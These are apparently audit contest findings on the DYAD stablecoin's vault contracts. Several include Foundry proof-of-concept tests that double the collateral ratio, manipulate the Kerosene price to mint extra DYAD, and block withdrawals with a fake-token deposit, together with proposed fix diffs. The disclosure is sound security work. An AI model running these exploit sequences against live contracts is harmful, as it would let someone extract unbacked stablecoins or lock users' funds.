DYAD - Limbooo's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L67

Vulnerability details

There are two usages of Kerosene Manager contract in the system where they interfere with each other at contracts that uses it:

1. In UnboundedKerosineVault and DeployV2 contracts; Kerosene Manager used to calculate the total USD value of all exogenous collateral in the protocol (TVL) without Kerosene in UnboundedKerosineVault::assetPrice().

2. In VaultManagerV2 and DeployV2 contracts; Kerosene Manager used to license a kerosene vaults so they can be added as Kerosene vault by users (VaultManagerV2#addKerosene()).

Impact

The critical outcome of this issue is under VaultManagerV2 since it expect the non-KEROSENE vaults should not be added as KEROSENE vault too, any usage of VaultManagerV2::collatRatio() will be affected:

• It will fail to prevent minting under the minimum collateralization ratio, as the amount of deposited collateral will be doubled when calculating the collateralization ratio.

• In liquidation, the collateralization ratio calculated will be more than what actual ratio, thus a valid dNft liquidation will never be liquidated as the ratio will never be less than 150%.

• The owner of protocol will find it hard to manage both Kerosene manager, and Kerosene licenser in the same contract. Therefore, multiple issue will be produced in the future that will be prevented to mitigate since the owner can not control them separately.

Proof of Concept

We can see the deployment script set the vault manager's KEROSENE vaults licenser while it has non-KEROSENE vaults that been added to KEROSENE vaults licenser too:

script/deploy/Deploy.V2.s.sol:
  62:     KerosineManager kerosineManager = new KerosineManager();
  63: 
  64:     kerosineManager.add(address(ethVault));
  65:     kerosineManager.add(address(wstEth));
  66: 
@>67:     vaultManager.setKeroseneManager(kerosineManager);

  93:     vaultLicenser.add(address(ethVault));
  94:     vaultLicenser.add(address(wstEth));

Then it used to validate a Kerosene vault when it added by the user

src/core/VaultManagerV2.sol:
  80:   function addKerosene(
  81:       uint    id,
  82:       address vault
  83:   ) 
  84:     external
  85:       isDNftOwner(id)
  86:   {
  87:     if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
@>88:     if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
  89:     if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
  90:     emit Added(id, vault);
  91:   }

Test Case (Foundry)

The following test case demonstrates how Alice mints under the minimum collateralization ratio with one deposit and validate the duplication of collateralization ratio, use it as part of test/fork/v2.t.sol file. Run using this command:

forge test --rpc-url {MAINNET_RPC_URL} --match-test testPoC_UsersCanAddTheSameVaultAsNonKeroseneAndKerosene

  function testPoC_UsersCanAddTheSameVaultAsNonKeroseneAndKerosene() public {
    // Make a new address for alice, and mint some ether.
    address alice = makeAddr('alice');
    vm.deal(alice, 2 ether);

    // Misc addresses (WETH and WETH Vault).
    address weth = address(contracts.ethVault.asset());
    address ethVault = address(contracts.ethVault);

    // Add Vault Manager V2 to the main licenser used by DYAD token, it will allow Vault Manager V2 minting, burning DYAD.
    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    // Alice start interaction
    vm.startPrank(alice);

    // Mint new dNft token for alice
    uint dNftId = contracts.vaultManager.dNft().mintNft{value: 1 ether}(alice);

    // Add WETH vault to the newly created dNft
    contracts.vaultManager.add(dNftId, ethVault);

    // Deposit Ether to WETH contract to mint weth tokens
    (bool success, ) = weth.call{value: 1 ether}(abi.encodeWithSignature("deposit()"));
    require(success);
    // Deposit Weth to vault through Vault Manager 
    contracts.ethVault.asset().approve(address(contracts.vaultManager), 1 ether);
    contracts.vaultManager.deposit(dNftId, ethVault, 1 ether);

    // Mint DYAD amount that is the max amount can be minted (an amount that backed by 150% of the usd value of deposited weth amount)
    uint alowedDyadAmount = (contracts.ethVault.getUsdValue(dNftId) * 0.666e18) / 1e18;
    contracts.vaultManager.mintDyad(dNftId, alowedDyadAmount, alice);
    assertEq(alowedDyadAmount, contracts.vaultManager.dyad().balanceOf(alice));
    // Save current collateral ratio to be checked latter 
    uint collatRatioBefore = contracts.vaultManager.collatRatio(dNftId);

    // Here the root of the issue, Alice will add the same Weth vault as kerosene vault.
    contracts.vaultManager.addKerosene(dNftId, ethVault);

    // Now collateral ratio has approximately dupled without depositing any tokens.
    uint collatRatioAfter = contracts.vaultManager.collatRatio(dNftId);
    assertApproxEqAbs(collatRatioBefore * 2, collatRatioAfter, 1);

    // Thus, Alice can mint extra DYAD amount that will be backed by 100% of the current total usd value for his dNft
    uint extraDyadAmount = contracts.ethVault.getUsdValue(dNftId) - alowedDyadAmount;
    contracts.vaultManager.mintDyad(dNftId, extraDyadAmount, alice);
    assertEq(alowedDyadAmount + extraDyadAmount, contracts.vaultManager.dyad().balanceOf(alice));

    vm.stopPrank();
  }

Tools Used

• Manual Review
• Foundry

Recommended Mitigation Steps

Consider an update for deploy script to initiate another Kerosene Manager that will be used for validate a license state of Kerosene vaults in Vault Manager.

@@ -60,11 +60,12 @@ contract DeployV2 is Script, Parameters {
     );

     KerosineManager kerosineManager = new KerosineManager();
+    KerosineManager kerosineLicenser = new KerosineManager();

     kerosineManager.add(address(ethVault));
     kerosineManager.add(address(wstEth));

-    vaultManager.setKeroseneManager(kerosineManager);
+    vaultManager.setKeroseneManager(kerosineLicenser);

     kerosineManager.transferOwnership(MAINNET_OWNER);

This new KerosineManager instance should only has Kerosene vaults. However, it worth mentioning that the Kerosene vaults has a maximum number of vaults that can be added, while Licenser has no maximum of vaults addition. If this is an issue and the number of licensed Kerosene vaults can grow bigger over time, then a new instance of Licenser contract can be used in-place but this mitigation path will need to include some update to the vault manager to switch from KerosineManager to Licenser.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L95

Vulnerability details

Lets start by some KEROSENE rules from DYAD design outline v6:

Each DYAD stablecoin is backed by at least $1.50 of exogenous collateral. This surplus absorbs the collateral’s volatility, keeping DYAD fully backed in all conditions. Kerosene is a token that lets you mint DYAD against this collateral surplus. Kerosene can be deposited in Notes just like other collateral to increase the Note’s DYAD minting capacity.

Kerosene is not additional collateral; it’s a mechanism for allocating the right to mint against existing surplus collateral (C-D) in the system.

As we can see from the documentation, Kerosene can't be used to mint DYAD without any exogenous collateral. However, it worth mentioning that this should be prevented in the system for many reasons and not just because of the documentation rules; for example in this equation:

$ X = \frac{C - D}{K} $

The Kerosene price (X) is deterministically calculated by subtracting the total supply of DYAD ($D$) from non kerosene collateral in the protocol ($C$) and then divided by the total supply of Kerosene tokens ($K$).

If an attacker manipulate the price by deposing high volume of non Kerosene collateral ($C = C + C_{\text{attcker-deposit}}$), he will be able to extract high volume of a DYAD amount by minting directly against a Kerosene deposit, then he can withdrew his non Kerosene collateral which will make the price of the Kerosene drops since the new the $D$ will grow ($D = D + D_{\text{attcker-mints}}$)

$ \frac{(C - C_{\text{attcker-deposit}}) - (D + D_{\text{attcker-mints}})}{K} < \frac{C - D}{K} < \frac{(C + C_{\text{attcker-deposit}}) - D}{K}$

Impact

• Breaks the intended design of the protocol that allow Kerosene collateral to only be used to increase the DYAD minting capacity of an existing non Kerosene collateral.

• Attacker manipulates the Kerosene price, can get a maximum extraction of a value if he can mint DYAD directly by depositing Kerosene, where it lead to a drop in Kerosene price.

• If attacker uses bounded Kerosene, then the extracted amount will be doubled and backed by less than 100% in USD Value, which makes it more dangerous as it can be used to break the whole protocol. However, this can not be done until a bounded Kerosene vault added to the non Kerosene vaults (which is commented at current moment in the deployment script).

  script/deploy/Deploy.V2.s.sol:
    95      vaultLicenser.add(address(unboundedKerosineVault));
  @>96:     // vaultLicenser.add(address(boundedKerosineVault));

Proof of Concept

In the Deploy.V2.s.sol we can see that a Kerosene vault added to the vault licenser just like the non Kerosene vaults:

script/deploy/Deploy.V2.s.sol:
  95      vaultLicenser.add(address(wstEth));
@>96:     vaultLicenser.add(address(unboundedKerosineVault));
  97:     // vaultLicenser.add(address(boundedKerosineVault));

This vault licenser is used by VaultManagerV2 to allow users adding non Kerosene vaults by VaultManagerV2::add() function, then this will allow them to deposit and then mint DYAD against USD value that spotted in VaultManagerV2::getNonKeroseneValue()

src/core/VaultManagerV2.sol:
  250:   function getNonKeroseneValue(
  251:     uint id
  252:   ) 
  253:     public 
  254:     view
  255:     returns (uint) {
  256:       uint totalUsdValue;
  257:       uint numberOfVaults = vaults[id].length(); 
  258:       for (uint i = 0; i < numberOfVaults; i++) {
  259:         Vault vault = Vault(vaults[id].at(i));
  260:         uint usdValue;
@>261:         if (vaultLicenser.isLicensed(address(vault))) {
@>262:           usdValue = vault.getUsdValue(id);        
  263:         }
  264:         totalUsdValue += usdValue;
  265:       }
  266:       return totalUsdValue;
  267:   }

Test Case (Foundry)

The following test case demonstrates how an attacker can add a Kerosene vault to a non Kerosene vaults list, then mint DYAD amount against a deposited Kerosene only after manipulating the Kerosene price by depositing high weth amount to another dNft token. Use it as part of test/fork/v2.t.sol file. Run using this command:

forge test --rpc-url {MAINNET_RPC_URL} --match-test testPoC_keroseneVaultCanBeUsedAsNonKeroseneVaultThusEsclateTheKerosenePriceManipulation -vv

  function testPoC_keroseneVaultCanBeUsedAsNonKeroseneVaultThusEsclateTheKerosenePriceManipulation() public{
    // Make a new address for attacker, and mint some ether.
    address attacker = makeAddr('attacker');
    vm.deal(attacker, 102 ether);

    // Misc addresses (WETH and WETH Vault).
    address weth = address(contracts.ethVault.asset());
    address ethVault = address(contracts.ethVault);

    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.startPrank(MAINNET_OWNER);
    // Add Vault Manager V2 to the main licenser used by DYAD token when minting, burning.
    licenser.add(address(contracts.vaultManager));
    // add missing collateral vaults in the protocol, so this will not be broken: TVL > DYAD total supply
    contracts.kerosineManager.add(MAINNET_WETH_VAULT);
    contracts.kerosineManager.add(MAINNET_WSTETH_VAULT);
    // mint some Kerosene for the attacker
    contracts.kerosene.transfer(attacker, 100000 ether);
    vm.stopPrank();

    uint kerosenePriceBeforeAttack = contracts.unboundedKerosineVault.assetPrice();

    // Attacker start interaction
    vm.startPrank(attacker);
    // Mint new dNft token for attacker, one for eth vaults and another for kerosene vault
    uint dNftId1 = contracts.vaultManager.dNft().mintNft{value: 1 ether}(attacker);
    uint dNftId2 = contracts.vaultManager.dNft().mintNft{value: 1 ether}(attacker);
    // Add WETH vault to the newly created dNft
    contracts.vaultManager.add(dNftId1, ethVault);
    // POC 1: Kerosene vault can be added as non Kerosene vaults list.
    contracts.vaultManager.add(dNftId2, address(contracts.unboundedKerosineVault));

    // Deposit Kerosene to vault through Vault Manager 
    contracts.unboundedKerosineVault.asset().approve(address(contracts.vaultManager), 100000 ether);
    contracts.vaultManager.deposit(dNftId2, address(contracts.unboundedKerosineVault), 100000 ether);

    // save the current amount that can be minted before the price attack, backed by 150% of deposited value
    uint alowedDyadAmountBeforeAttack = (contracts.vaultManager.getNonKeroseneValue(dNftId2) * 0.66e18) / 1e18;


    // Deposit Ether to WETH contract to mint weth tokens
    (bool success, ) = weth.call{value: 100 ether}(abi.encodeWithSignature("deposit()"));
    require(success);
    // Deposit Weth to vault through Vault Manager 
    contracts.ethVault.asset().approve(address(contracts.vaultManager), 100 ether);
    contracts.vaultManager.deposit(dNftId1, ethVault, 100 ether);

    uint kerosenePriceInAttack = contracts.unboundedKerosineVault.assetPrice();

    uint alowedDyadAmountInrAttack = (contracts.vaultManager.getNonKeroseneValue(dNftId2) * 0.66e18) / 1e18;
    // PoC 2: user can mint DYAD from a Kerosene collateral only
    // It worth mentioning that if the attacker uses bounded kerosene vaults,
    // then the extracted amount will be doubled and backed by less than 100% in USD Value
    // which makes it more dangerous as it can be used to break the whole protocol.
    contracts.vaultManager.mintDyad(dNftId2, alowedDyadAmountInrAttack, attacker);

    // move one block so we can withdraw
    vm.roll(block.number + 1);
    // withdrow exogenous collateral (weth)
    contracts.vaultManager.withdraw(dNftId1, ethVault, 100 ether , attacker);

    vm.stopPrank();

    uint kerosenePriceAfterAttack = contracts.unboundedKerosineVault.assetPrice();

    // PoC 3: Kerosene price has been manipulated, a maximum value of kerosene has been extracted as DYAD amount and then the price was dropped
    assert(kerosenePriceAfterAttack < kerosenePriceBeforeAttack);
    assert(kerosenePriceBeforeAttack < kerosenePriceInAttack);
    assert(kerosenePriceAfterAttack < kerosenePriceInAttack);
    console.log('Kerosene Price Changes:-');
    console.log('- Before Attack:', kerosenePriceBeforeAttack);
    console.log('- In Attack:', kerosenePriceInAttack);
    console.log('- After Attack:', kerosenePriceAfterAttack);
    console.log('-----------------------');

    assert(alowedDyadAmountBeforeAttack < alowedDyadAmountInrAttack);
    console.log('Allowed Minted DYAD Amount :');
    console.log('- Before Attack:', alowedDyadAmountBeforeAttack);
    console.log('- In Attack:', alowedDyadAmountInrAttack);
  }

Test output

2024-04-dyad main* ⇣27s
❯ forge test --rpc-url https://eth-mainnet.g.alchemy.com/v2/*** --match-test testPoC_keroseneVaultCanBeUsedAsNonKeroseneVaultThusEsclateTheKerosenePriceManipulation -vv
[⠒] Compiling...
[⠒] Compiling 1 files with 0.8.17
[⠑] Solc 0.8.17 finished in 1.45s
Compiler run successful!

Ran 1 test for test/fork/v2.t.sol:V2Test
[PASS] testPoC_keroseneVaultCanBeUsedAsNonKeroseneVaultThusEsclateTheKerosenePriceManipulation() (gas: 1426843)
Logs:
  Kerosene Price Changes:-
  - Before Attack: 1987716
  - In Attack: 2623485
  - After Attack: 1984201
  -----------------------
  Allowed Minted DYAD Amount :
  - Before Attack: 1311892560000000000000
  - In Attack: 1731500100000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 22.36s (18.20s CPU time)

Ran 1 test suite in 23.54s (22.36s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

• Manual Review
• Foundry

Recommended Mitigation Steps

In the Deploy.V2.s.sol , we should not add a Kerosene vault to the normal vault licenser. I submitted another issue named ['Conflicting Usages of Kerosene Manager Lead to Duplication of Deposited Collateral When Calculating Collateralization Ratio'], this issue has very deep knowledge about how the Kerosene vaults licenser is not the kerosene manager. Therefore, here is a connected mitigation that can be consider to mitigate this issue:

diff --git a/script/deploy/Deploy.V2.s.sol b/script/deploy/Deploy.V2.s.sol
index 629fddf..0833813 100644
--- a/script/deploy/Deploy.V2.s.sol
+++ b/script/deploy/Deploy.V2.s.sol
@@ -60,11 +60,12 @@ contract DeployV2 is Script, Parameters {
     );

     KerosineManager kerosineManager = new KerosineManager();
+    KerosineManager kerosineLicenser = new KerosineManager();

     kerosineManager.add(address(ethVault));
     kerosineManager.add(address(wstEth));

-    vaultManager.setKeroseneManager(kerosineManager);
+    vaultManager.setKeroseneManager(kerosineLicenser);

     kerosineManager.transferOwnership(MAINNET_OWNER);

@@ -92,10 +93,11 @@ contract DeployV2 is Script, Parameters {

     vaultLicenser.add(address(ethVault));
     vaultLicenser.add(address(wstEth));
-    vaultLicenser.add(address(unboundedKerosineVault));
-    // vaultLicenser.add(address(boundedKerosineVault));
+    kerosineLicenser.add(address(unboundedKerosineVault));
+    // kerosineLicenser.add(address(boundedKerosineVault));

     vaultLicenser.transferOwnership(MAINNET_OWNER);
+    kerosineLicenser.transferOwnership(MAINNET_OWNER);

     vm.stopBroadcast();  // ----------------------------

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L127

Vulnerability details

Impact

User's withdrawals will be prevented from success and an attacker can keep up without a cost using fake vault and fake token.

Proof of Concept

There is a mechanisms for a flash loan protection that saves the current block number in a mapping of dNft token id, and then prevent it from withdrawing at the same block number, as we can see in the VaultManagerV2::deposit() function which can be called by anyone with a valid dNft id:

src/core/VaultManagerV2.sol:
  119:   function deposit(
  120:     uint    id,
  121:     address vault,
  122:     uint    amount
  123:   ) 
  124:     external 
  125:       isValidDNft(id)
  126:   {
@>127:     idToBlockOfLastDeposit[id] = block.number;
  128:     Vault _vault = Vault(vault);
  129:     _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
  130:     _vault.deposit(id, amount);
  131:   }

The attacker can use this to prevent any withdrawals in the current block, since it will be checked whenever an owner of dNft token try to withdraw:

src/core/VaultManagerV2.sol:
  134:   function withdraw(
  135:     uint    id,
  136:     address vault,
  137:     uint    amount,
  138:     address to
  139:   ) 
  140:     public
  141:       isDNftOwner(id)
  142:   {
@>143:     if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
  144      uint dyadMinted = dyad.mintedDyad(address(this), id);

Test Case (Foundry)

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser}            from "../../src/core/Licenser.sol";
import {Parameters}          from "../../src/params/Parameters.sol";
import {ERC20}               from "@solmate/src/tokens/ERC20.sol";
import {Vault}               from "../../src/core/Vault.sol";
import {IAggregatorV3}       from "../../src/interfaces/IAggregatorV3.sol";
import {IVaultManager}       from "../../src/interfaces/IVaultManager.sol";

contract FakeERC20 is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol, 18) {}
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract FakeVaultTest is Test, Parameters {

    Contracts contracts;
    address   attacker;
    FakeERC20 fakeERC20;
    Vault     fakeVault;

    function setUp() public {
        contracts = new DeployV2().run();
        // Add Vault Manager V2 to the main licenser used by DYAD token, it will allow Vault Manager V2 minting, burning DYAD.
        vm.prank(MAINNET_OWNER);
        Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager));

        attacker =  makeAddr('attacker');
        fakeERC20 = new FakeERC20('Fake', 'FAKE');
        fakeVault = new Vault(
            contracts.vaultManager,
            ERC20        (fakeERC20),
            IAggregatorV3(address(0x0))
        );

        fakeERC20.mint(attacker, type(uint256).max);
    }


    function testPoC_attackerCanFrontRunUserWithdrawalsToPreventThemFromWithdrawing() public {
        // Make a new address for alice, and mint some ether.
        address alice = makeAddr('alice');
        vm.deal(alice, 2 ether);

        // Misc addresses (WETH and WETH Vault).
        address weth =     address(contracts.ethVault.asset());
        address ethVault = address(contracts.ethVault);

        // Alice start interaction
        vm.startPrank(alice);

        // Mint new dNft token for alice
        uint dNftId = contracts.vaultManager.dNft().mintNft{value: 1 ether}(alice);

        // Add WETH vault to the newly created dNft
        contracts.vaultManager.add(dNftId, ethVault);
        // Deposit Ether to WETH contract to mint weth tokens
        (bool success, ) = weth.call{value: 1 ether}(abi.encodeWithSignature("deposit()"));
        require(success);
        // Deposit Weth to vault through Vault Manager 
        contracts.ethVault.asset().approve(address(contracts.vaultManager), 1 ether);
        contracts.vaultManager.deposit(dNftId, ethVault, 1 ether);

        vm.stopPrank();
        vm.roll(block.number + 1);

        // attacker approve vault manager to spend his fake erc20
        vm.startPrank(attacker);
        fakeVault.asset().approve(address(contracts.vaultManager), type(uint256).max);

        // whenever alice try to withdraw, attacker front-runs alice and make him unable to withdraw at current block
        // by depositing to alice's dNft a fake token with fake vault
        contracts.vaultManager.deposit(dNftId, address(fakeVault), 1 ether);
        vm.stopPrank();

        // alice try to withdraw but the call reverted with DepositedInSameBlock error 
        // indicate that the attacker success to prevent the withdrawal
        vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
        vm.prank(alice);
        contracts.vaultManager.withdraw(dNftId, ethVault, 1 ether, alice);
    }

}

Tools Used

• Manual Review
• Foundry

Recommended Mitigation

Consider limiting anyone with any token vaults to update idToBlockOfLastDeposit. One of these mitigation can be used:

1. Prevent anyone to deposit to un-owned dNft token

2. Allow to only depositing using licensed vaults, so if the attacker try to front-runs he will lose some real tokens.

3. Since this used to protect against flash loans, no need to use it with all token vaults and should be used only with vaults that can be used to mint DYAD. So, we can check if the deposit included in the vaultLicenser and keroseneManager licenser, we need to update the idToBlockOfLastDeposit. Here is a git diff for this fix:

diff --git a/src/core/VaultManagerV2.sol b/src/core/VaultManagerV2.sol
index fc574a8..73dbb6b 100644
--- a/src/core/VaultManagerV2.sol
+++ b/src/core/VaultManagerV2.sol
@@ -124,7 +124,8 @@ contract VaultManagerV2 is IVaultManager, Initializable {
     external
       isValidDNft(id)
   {
-    idToBlockOfLastDeposit[id] = block.number;
+    if (vaultLicenser.isLicensed(vault) || keroseneManager.isLicensed(vault))
+      idToBlockOfLastDeposit[id] = block.number;
     Vault _vault = Vault(vault);
     _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
     _vault.deposit(id, amount);

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L148 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L196

Vulnerability details

Impact

Any attempt to withdraw Kerosene collateral will fail (which can be withdrawn if it is unbounded kerosene vault).

Proof of Concept

The Kerosene vaults dos not has oracle in its nature, since the price will be deterministically calculated. While the VaultManagerV2::withdraw() try to get the decimals of the price from oracle when calculating the value of the windrow amount.

src/core/VaultManagerV2.sol:
  135:   function withdraw(
  136:     uint    id,
  137:     address vault,
  138:     uint    amount,
  139:     address to
  140:   ) 
  141:     public
  142:       isDNftOwner(id)
  143:   {
  144:     if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
  145:     uint dyadMinted = dyad.mintedDyad(address(this), id);
  146:     Vault _vault = Vault(vault);
  147:     uint value = amount * _vault.assetPrice() 
  148:                   * 1e18 
@>149:                   / 10**_vault.oracle().decimals() 
  150:                   / 10**_vault.asset().decimals();

There is another appearance of this issue in the VaultManagerV2::redeemDyad() function too.

Test Case (Foundry)

These test validate that the unbounded Kerosene vault dose not has oracle. Thus the call of this will fail when withdrawing in the vault manager contract.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {Vault} from "../../src/core/Vault.sol";


contract V2Test is Test, Parameters {

  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
  }

  function testPoC_unboundedKerosineVaultDoseNotHasOracle() public {

    vm.expectRevert();
    Vault(address(contracts.unboundedKerosineVault)).oracle();
  }
}

Tools Used

• Manual Review
• Foundry

Recommended Mitigation Steps

Consider using the price decimals as a constant when calculating asset or amount in VaultManagerV2::withdraw() or VaultManagerV2::redeemDyad() functions. The decimals of the price can be seen in multiple places in the code which is ($8$) (see here and here).

There is two possible solutions, if the vaultsKerosene mapping will only holds Kerosene vaults then we can check if the vaults is in this mapping (but this solution will only works if the user added it to the vaultsKerosene and it is already licensed by the owner of the protocol). Otherwise we can use an immediate check on the address of the vault's asset if it is the Kerosene address (but this will work only on mainnet):

diff --git a/src/core/VaultManagerV2.sol b/src/core/VaultManagerV2.sol
index fc574a8..c4f2209 100644
--- a/src/core/VaultManagerV2.sol
+++ b/src/core/VaultManagerV2.sol
@@ -19,6 +19,8 @@ contract VaultManagerV2 is IVaultManager, Initializable {
   using FixedPointMathLib for uint;
   using SafeTransferLib   for ERC20;

+  address private constant MAINNET_KEROSENE = 0xf3768D6e78E65FC64b8F12ffc824452130BD5394;
+
   uint public constant MAX_VAULTS          = 5;
   uint public constant MAX_VAULTS_KEROSENE = 5;

@@ -143,9 +145,10 @@ contract VaultManagerV2 is IVaultManager, Initializable {
     if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
     uint dyadMinted = dyad.mintedDyad(address(this), id);
     Vault _vault = Vault(vault);
+    uint priceDecimals = address(_vault.asset()) == MAINNET_KEROSENE ? 8 : _vault.oracle().decimals();
     uint value = amount * _vault.assetPrice()
                   * 1e18
-                  / 10**_vault.oracle().decimals()
+                  / 10**priceDecimals
                   / 10**_vault.asset().decimals();
     if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
     _vault.withdraw(id, to, amount);
@@ -192,8 +195,9 @@ contract VaultManagerV2 is IVaultManager, Initializable {
     returns (uint) {
       dyad.burn(id, msg.sender, amount);
       Vault _vault = Vault(vault);
+      uint priceDecimals = address(_vault.asset()) == MAINNET_KEROSENE ? 8 : _vault.oracle().decimals();
       uint asset = amount
-                    * (10**(_vault.oracle().decimals() + _vault.asset().decimals()))
+                    * (10**(priceDecimals + _vault.asset().decimals()))
                     / _vault.assetPrice()
                     / 1e18;
       withdraw(id, vault, asset, to);

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L150

Vulnerability details

Impact

In VaultManagerV2::withdraw() function, due to a check that is not applicable in all withdrawing cases like:

• If user deposit to a vault that not being added to dNft, he will not be able to withdraw if he has some debit with collaterals in added vaults.

• After user pay the full debit of his dNft, and a vault in vaultsKerosene has a deposit, he will not able to withdraw.

In both cases, the issue will not occurs if there is some collateral in another non Kerosene vault that has a value greater than the value of the collateral in kerosen vault.

Proof of Concept

First, we can see that the VaultManagerV2::deposit() function allowed a deposit for any vaults, even if it is not licensed or added by user.

The check of the non kerosene value against the withdrawal amount happen in every call to VaultManagerV2::withdraw() for any case

src/core/VaultManagerV2.sol:
  133    /// @inheritdoc IVaultManager
  134:   function withdraw(
  135:     uint    id,
  136:     address vault,
  137:     uint    amount,
  138:     address to
  139:   ) 
  140:     public
  141:       isDNftOwner(id)
  142:   {
  143:     if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
  144:     uint dyadMinted = dyad.mintedDyad(address(this), id);
  145:     Vault _vault = Vault(vault);
  146:     uint value = amount * _vault.assetPrice() 
  147:                   * 1e18 
  148:                   / 10**_vault.oracle().decimals() 
  149:                   / 10**_vault.asset().decimals();
@>150:     if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
  151:     _vault.withdraw(id, to, amount);
  152:     if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
  153:   }

Where getNonKeroseneValue calculate the sum of USD values of all vaults added to vaults mapping. However, this not applicable to all cases like if we have dyadMinted = 0 there is no need for the check at all, or when we withdraw from a vault that not been added to the vaults mapping where it indicate that the vaults has never been used to mint any DYAD.

Tools Used

• Manual Review

Recommended Mitigation Steps

Since in remove vault functions will prevent a removal of a vaults that has collateral, consider an update to the withdraw function that trigger the checking for Non Kerosene value against DYAD minted only when the vault that withdrawing from is added to dNft's vaults. In case the withdraw happens in a Kerosene vaults the collatRatio will do the job here.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L60

Vulnerability details

Forehead

There is another issue submitted under this name ['Conflicting Usages of Kerosene Manager Lead to Duplication of Deposited Collateral When Calculating Collateralization Ratio'] where it is connected to this issue in some how but it is not the same.

Impact

This Invariant (TVL > DYAD total supply) will make sure that the deterministic price of Kerosene dose not underflow. If this is the case, first will make any Kerosene Vaults unusable and then multiple issue will occurs specially in the vault manager v2 which will make multiple functions reverts whenever user under some conditions interact with them :

• Withdraw will fail for any collateral tokens

• Minting DYAD will fail

• Redeem DYAD will fail

• Liquidation will fail for the affected dNft id

It worth mentioning that these impacts will happens only if the user mint some DYAD and add a Kerosene vault to his dNft, then all the impacts will occurs in the affected dNft id.

Also, if the owner of the protocol solve this by adding the missing vaults from old version to conflicted Kerosene Manager, then this will make users use them as kerosene vaults in the vault manager v2 which will produce tremendous amount of issues.

Proof of Concept

The underflow happens when calculating the price of Kerosene here:

src/core/Vault.kerosine.unbounded.sol:
  50:   function assetPrice() 
  51:     public 
  52:     view 
  53:     override
  54:     returns (uint) {
  55:       uint tvl;
  56:       address[] memory vaults = kerosineManager.getVaults();
  57:       uint numberOfVaults = vaults.length;
  58:       for (uint i = 0; i < numberOfVaults; i++) {
  59:         Vault vault = Vault(vaults[i]);
  60:         tvl += vault.asset().balanceOf(address(vault)) 
  61:                 * vault.assetPrice() * 1e18
  62:                 / (10**vault.asset().decimals()) 
  63:                 / (10**vault.oracle().decimals());
  64:       }
@>65:       uint numerator   = tvl - dyad.totalSupply();
  66:       uint denominator = kerosineDenominator.denominator();
  67:       return numerator * 1e8 / denominator;
  68:   }

As we can see in the above code (line 56), the vaults that been used to calculate the TVL is only these vaults: (from the deployment script)

script/deploy/Deploy.V2.s.sol:
  64:     kerosineManager.add(address(ethVault));
  65:     kerosineManager.add(address(wstEth));

  71:     UnboundedKerosineVault unboundedKerosineVault = new UnboundedKerosineVault(
  72:       vaultManager,
  73:       Kerosine(MAINNET_KEROSENE), 
  74:       Dyad    (MAINNET_DYAD),
@>75:       kerosineManager
  76:     );


  95:     vaultLicenser.add(address(unboundedKerosineVault));

Where the protocol has more vaults that have been used across old versions to mint most of the total supply of DYAD, and those vaults should be added before Licensing the unboundedKerosineVault. However, the same kerosineManager is used to license a kerosene vaults in the vault manager v2, which I believe it makes this issue more complicated to solve by the owner interactions since he will not be able to add old vaults to that kerosineManager which will make users add the old vaults as Kerosene in the new vault manager where it will produces tremendous amount of issues (see above, Forehead section for more details about conflicted usage of kerosineManager).

